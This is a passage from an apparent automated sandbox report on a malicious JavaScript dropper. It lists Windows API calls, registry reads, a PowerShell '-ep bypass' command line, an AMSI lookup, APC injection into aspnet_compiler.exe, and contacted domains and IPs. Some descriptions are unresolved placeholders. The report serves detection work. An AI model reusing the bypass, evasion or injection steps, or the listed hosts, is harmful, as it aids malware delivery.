to gather system and hardware detail","description":"\"WScript.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005240)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"WScript.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005240)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005240)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"WScript.exe\" called \"EnumWindows\" with parameter \"405210656416\" - (UID: 00000000-00005240)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005240)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$3b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$3c","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005240)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00005240)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006896)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"WScript.exe\" queried token user identity (UID: 00000000-00005240)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$3f","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$40","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1685","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"WScript.exe\" called \"CreateDirectoryW\" with parameter C:\\Temp\\ (UID: 00000000-00005240)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -nop -ep bypass -file \"C:\\Temp\\VBBT5YNK.ps1\"\" - (UID: 00000000-00005240)\n \"powershell.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" - (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134382612837778655.6896.DefaultAppDomain.powershell\" - (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$41","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$42","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"leisureconnecting.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"70.32.23.109:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessDelegate\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")\n Found reference to API \"632,6668,3142,,CreateProcessA,kernel32.dll,\"00:35:31.656\",RX=0,PX=0\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006896.00000001.136542.EF070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$43","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"wShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$45","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$46","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"__PSScriptPolicyTest_isqlr1hy.lrf.ps1\" as clean (type is \"ASCII text with no line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"-nop -ep bypass -file \"C:\\\\Temp\\\\VBBT5YNK.ps1\"\" (UID: 00000000-00006896)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Executes a JavaScript file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\LOI-ProductSpecifications.js\"\" (UID: 00000000-00005240)","origin":"Monitored Target","mitre_attack_id":"T1059.007","relevance":3,"id":"target-167","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$47","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134382612837778655.6896.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$48","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$49","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\6078762b90671c2ff9ba39318e2176d8\\mscorlib.ni.dll\" at 62F20000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 8B690000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 8B690000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 9A7D0000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 9A800000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 9A7D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 9A800000\n \"aspnet_compiler.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 75000000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 70C30000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 9AD90000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 9AD90000\n \"aspnet_compiler.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76F10000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WScript.exe\" called \"Msxml2.XMLHTTP.CreateObject\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000060a36b9af97f0000@ntdll.dll\"\n \"220023000000000038a36b9af97f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"LOI-ProductSpecifications.js\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Write-Debug\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Write-Error\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Write-Warning\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00005240-00000C47-8040339470]\n Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -nop -ep bypass -file \"C:\\Temp\\VBBT5YNK.ps1\"\" [Source: 00000000-00005240-00000C47-8040339470]\n Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" [Source: 00000000-00006896-00000C46-28942532141]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"powershell.exe\" (UID: 00000000-00006896) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"powershell.exe\" (UID: 00000000-00006896) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"aspnet_compiler.exe\" (UID: 00000000-00008764) was launched with new environment variables: \"PSExecutionPolicyPreference=\"Bypass\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"leisureconnecting.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"\"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\USER PROFILE\"; Key: \"LANGUAGES\")\n \"WScript.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\GEO\"; Key: \"NATION\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$4d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=YR2, O=Let's Encrypt, C=US\" (SHA1: DC:8B:93:30:2B:BF:82:FD:CC:78:FD:F5:44:86:C8:A8:3E:51:2F:15; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Root YR, O=ISRG, C=US\" (SHA1: 2D:74:D6:DF:D9:6E:EA:55:AD:7B:AA:FA:0D:3C:65:52:B2:DA:DC:37; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: AB:9D:02:63:24:4D:D0:32:6E:B6:70:15:70:5A:66:7E:79:CF:E9:98; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Windows Script Host executes Powershell","description":"Process \"%WINDIR%\\System32\\WScript.exe\" started \"powershell.exe\" (UID: 00000000-00006896)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-321","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"WScript.exe\" writes to a file \"C:\\Temp\\VBBT5YNK.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_isqlr1hy.lrf.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_eaj1opgv.41v.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"urlref_httpsleisureconnecting.combuildsecured_stub.ps1\" has type \"ASCII text with CRLF line terminators\"- [targetUID: N/A]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006896]\n \"ModuleAnalysisCache\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00006896]\n \"__PSScriptPolicyTest_eaj1opgv.41v.psm1\" has type \"ASCII text with no line terminators\"- Location: [%TEMP%\\__PSScriptPolicyTest_eaj1opgv.41v.psm1]- [targetUID: 00000000-00006896]\n \"VBBT5YNK.ps1\" has type \"ASCII text with CRLF line terminators\"- Location: [C:\\Temp\\VBBT5YNK.ps1]- [targetUID: 00000000-00005240]\n \"secured_stub_1_.ps1\" has type \"Unknown\"- [targetUID: N/A]\n \"__PSScriptPolicyTest_isqlr1hy.lrf.ps1\" has type \"ASCII text with no line terminators\"- Location: [%TEMP%\\__PSScriptPolicyTest_isqlr1hy.lrf.ps1]- [targetUID: 00000000-00006896]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$4e","origin":"API Call","mitre_attack_id":"T1012","relevance":1,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 5240)\n \"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 5240)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 6896)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$50","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"WScript.exe\" called \"NtQueueApcThread\" (UID: 00000000-00005240)\n \"aspnet_compiler.exe\" called \"NtQueueApcThread\" (UID: 00000000-00008764)","origin":"API 